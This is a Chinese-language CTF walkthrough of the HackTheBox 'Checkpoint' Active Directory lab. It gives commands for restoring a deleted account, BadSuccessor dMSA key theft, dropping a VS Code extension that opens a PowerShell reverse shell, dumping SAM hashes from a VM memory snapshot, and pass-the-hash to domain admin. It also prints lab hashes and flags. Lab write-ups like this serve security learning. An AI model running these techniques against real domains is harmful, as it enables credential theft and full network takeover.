HackTheBox — Checkpoint
1. 總覽
| 機器 | Checkpoint |
| 作業系統 | Windows(Server 2025 網域控制站) |
| 難度 | Medium |
| 網域 | checkpoint.htb / DC:dc01.checkpoint.htb |
| 已給憑證 | alex.turner : Checkpoint2024!(免費賽季機器) |
| user.txt | afbae41eb61150ea57d3e26217d95280 |
| root.txt | 0dce7d255c4e5307c877a9da7dd72836 |
攻擊鏈: 還原已刪除使用者(mark.davies)→ BadSuccessor(dMSA) 竊取其雜湊 → 利用 mark.davies 的共享資料夾 ACL 投放惡意 VS Code .vsix → 取得開發者 ryan.brooks 的 RCE → 對 svc_deploy 進行混合式 BadSuccessor → 讀取 VMBackups → 用 volatility3 分析 VM 記憶體傾印 → 取得本機 Administrator 雜湊 → Pass-the-Hash 成為網域管理員。
2. 偵查
連接埠掃描
nmap -p- --min-rate 5000 --max-retries 1 -T4 -Pn -n 10.129.6.126
nmap -p88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sV 10.129.6.126
結果為標準 AD 網域控制站,外加一個不尋常的 DNS 標頭:
53/tcp open domain Simple DNS Plus <-- 第三方 DNS
88/tcp open kerberos-sec
389/tcp open ldap Domain: checkpoint.htb
445/tcp open microsoft-ds
5985/tcp open wsman (WinRM)
9389/tcp open mc-nmf (ADWS)
透過 DNS 找出網域
SMB null session 與匿名 LDAP 都被封鎖,但 DNS(port 53)會回應:
dig @10.129.6.126 checkpoint.htb SOA +short # -> dc01.checkpoint.htb
dig @10.129.6.126 _ldap._tcp.checkpoint.htb SRV # -> dc01.checkpoint.htb:389
macOS 環境設定(重要)
由於 DC 強制 LDAP 簽章、回傳無法經 IPv4 VPN 路由的 IPv6 AAAA 記錄,且時間比本機快約 7 小時(時鐘偏移),需要:
- 在 python user-site 目錄放一個
usercustomize.py:(a) 透過socket.getaddrinfo強制dc01.checkpoint.htb→ IPv4;(b) 將time/datetime偏移IMP_TIME_OFFSET=25200秒,使 impacket 純 python 的 Kerberos 與 DC 時鐘一致(faketime在 hardened homebrew python 上不可靠)。 - 以 bloodyAD 作為 LDAP 讀寫引擎——其後端支援 Kerberos sign+seal 並自動修正時鐘偏移,這是 impacket 0.12 的 LDAP 做不到的。
getTGT.py checkpoint.htb/alex.turner:'Checkpoint2024!' -dc-ip 10.129.6.126 # 搭配 IMP_TIME_OFFSET=25200
3. 立足點 → mark.davies
alex.turner 的 ACL 權限
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -k get writable
- 對已刪除物件
Mark Davies(CN=Mark Davies\0ADEL:…,CN=Deleted Objects)有GenericWrite - 對
OU=Employees有CreateChild
還原已刪除的帳號
bloodyAD ... -k set restore mark.davies
# [+] mark.davies 已還原至 CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
重設密碼、PKINIT(shadow credentials)、Kerberoast 破解皆失敗(無 Reset 權限、無 AD CS、密碼無法破解)。GenericWrite 唯一可用的手法是 BadSuccessor。
BadSuccessor(dMSA)→ 竊取 mark.davies 雜湊
DC 為 Server 2025。具備某 OU 的 CreateChild,加上可寫入目標的 msDS-Superseded* 屬性(我們對 mark.davies 有 GenericWrite),即可建立一個「取代」目標的委派 MSA——其 TGS key package 會洩漏前身帳號的金鑰:
bloodyAD ... -u alex.turner -k add badSuccessor pwnmsa \
-t 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' --ou 'OU=Employees,DC=checkpoint,DC=htb'
# dMSA previous keys (mark.davies): RC4: 0b28e49d9deb96f99d74578e214faec2
復現(tmux 實機執行,經 Chrome 渲染截圖——以下皆為對機器的即時重跑):

4. mark.davies → ryan.brooks(惡意 VSIX RCE)
mark.davies 的 SID 對 DevDrop SMB 共享(C:\Shares\DevDrop,「VS Code 擴充套件共享」)有寫入權限。RC4 Pass-the-Hash 在 Kerberos 上被擋(KDC 僅允許 AES),但 dMSA 的 TGT 本身帶有 mark.davies 的 SID,可用於 SMB 驗證:
KRB5CCNAME=pwnmsa_*.ccache smbclient.py -k -no-pass 'checkpoint.htb/pwnmsa$@dc01.checkpoint.htb'
> use DevDrop
> put code-helper.vsix
惡意 .vsix(一個內含 extension.vsixmanifest、[Content_Types].xml,以及 activate() 執行 PowerShell 反向 shell 的 extension.js 的 zip)會被開發者的 VS Code 自動安裝。數秒內:
[+] 來自 10.129.6.126 的連線
checkpoint\ryan.brooks (DevTeam 成員)
user.txt 位於 ryan.brooks 桌面:
C:\Users\ryan.brooks\Desktop\user.txt -> afbae41eb61150ea57d3e26217d95280

5. 權限提升 → svc_deploy → Administrator
ryan.brooks → svc_deploy(混合式 BadSuccessor)
ryan.brooks 對 svc_deploy(BackupAccess + Remote Management Users 成員)有 GenericWrite。svc_deploy 無 SPN 也無法直接重設,因此再次使用 BadSuccessor——拆成兩個身分執行:
- alex.turner(對 Employees 有 CreateChild)建立取代 svc_deploy 的 dMSA:
bloodyAD ... -u alex.turner -k add badSuccessor deploymsa \ -t 'CN=svc_deploy,OU=ServiceAccounts,...' --ou 'OU=Employees,...' --prepatch - ryan.brooks(shell)寫入 svc_deploy 的 superseded link(alex.turner 無此權限):
Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Add @{'msDS-SupersededManagedAccountLink'='CN=deploymsa,OU=Employees,...'} Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Replace @{'msDS-SupersededServiceAccountState'=2} - alex.turner 取得 dMSA TGT → 洩漏 svc_deploy 金鑰:
badS4U2self 'kerberos+ccache://checkpoint.htb\alex.turner:<ccache>@10.129.6.126/' \ 'krbtgt/checkpoint.htb@checkpoint.htb' 'deploymsa$@checkpoint.htb' --dmsa # svc_deploy NT hash: e16081eb077aca74bdbf8af12af43ac9
svc_deploy → VMBackups → volatility3
svc_deploy(BackupAccess)可用 NTLM PtH 讀取 VMBackups 共享:
smbclient.py -hashes :e16081eb077aca74bdbf8af12af43ac9 checkpoint.htb/svc_deploy@dc01.checkpoint.htb
# VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem (2 GB)

下載 VMware 記憶體快照並以 volatility3 分析:
vol -f snapshot.vmem windows.registry.hivelist --dump # 傾印 SAM / SYSTEM / SECURITY
secretsdump.py -sam registry.SAM... -system registry.SYSTEM... -security registry.SECURITY... LOCAL
# Administrator:500:...:f29e9c014295b9b32139b09a2790be3b:::

Pass-the-Hash → 網域管理員
快照中的本機 Administrator 雜湊與網域 Administrator 重複使用。NTLM PtH 在 dc01 上成功:
wmiexec.py -hashes :f29e9c014295b9b32139b09a2790be3b checkpoint.htb/Administrator@dc01.checkpoint.htb
C:\> type C:\Users\max.palmer\Desktop\root.txt
0dce7d255c4e5307c877a9da7dd72836

6. Flags
| Flag | 值 |
|---|---|
| user.txt | afbae41eb61150ea57d3e26217d95280 |
| root.txt | 0dce7d255c4e5307c877a9da7dd72836 |

7. 關鍵技術與心得
- Tombstone 還原(
bloodyAD set restore)——對已刪除物件的GenericWriteACE 就足以將其復活。 - BadSuccessor(dMSA)——在 Server 2025 上,某 OU 的
CreateChild+ 可寫入目標的msDS-Superseded*屬性,即可建立一個繼承目標身分的委派 MSA,並透過 TGS key package 洩漏其金鑰。此處用了兩次(mark.davies;之後因 DC 已修補需在目標寫入 link,故以兩個身分拆分完成 svc_deploy)。 - 惡意 VSIX——VS Code 擴充套件的
activate()即任意 Node.js 程式;投放至被監看/自動安裝的共享即可取得開發者身分的 RCE。 - 記憶體傾印竊取憑證——備份的
.vmem即原始 RAM;volatility3 → 登錄檔 hive → secretsdump 可還原本機 Administrator 雜湊;密碼重用 → 網域管理員。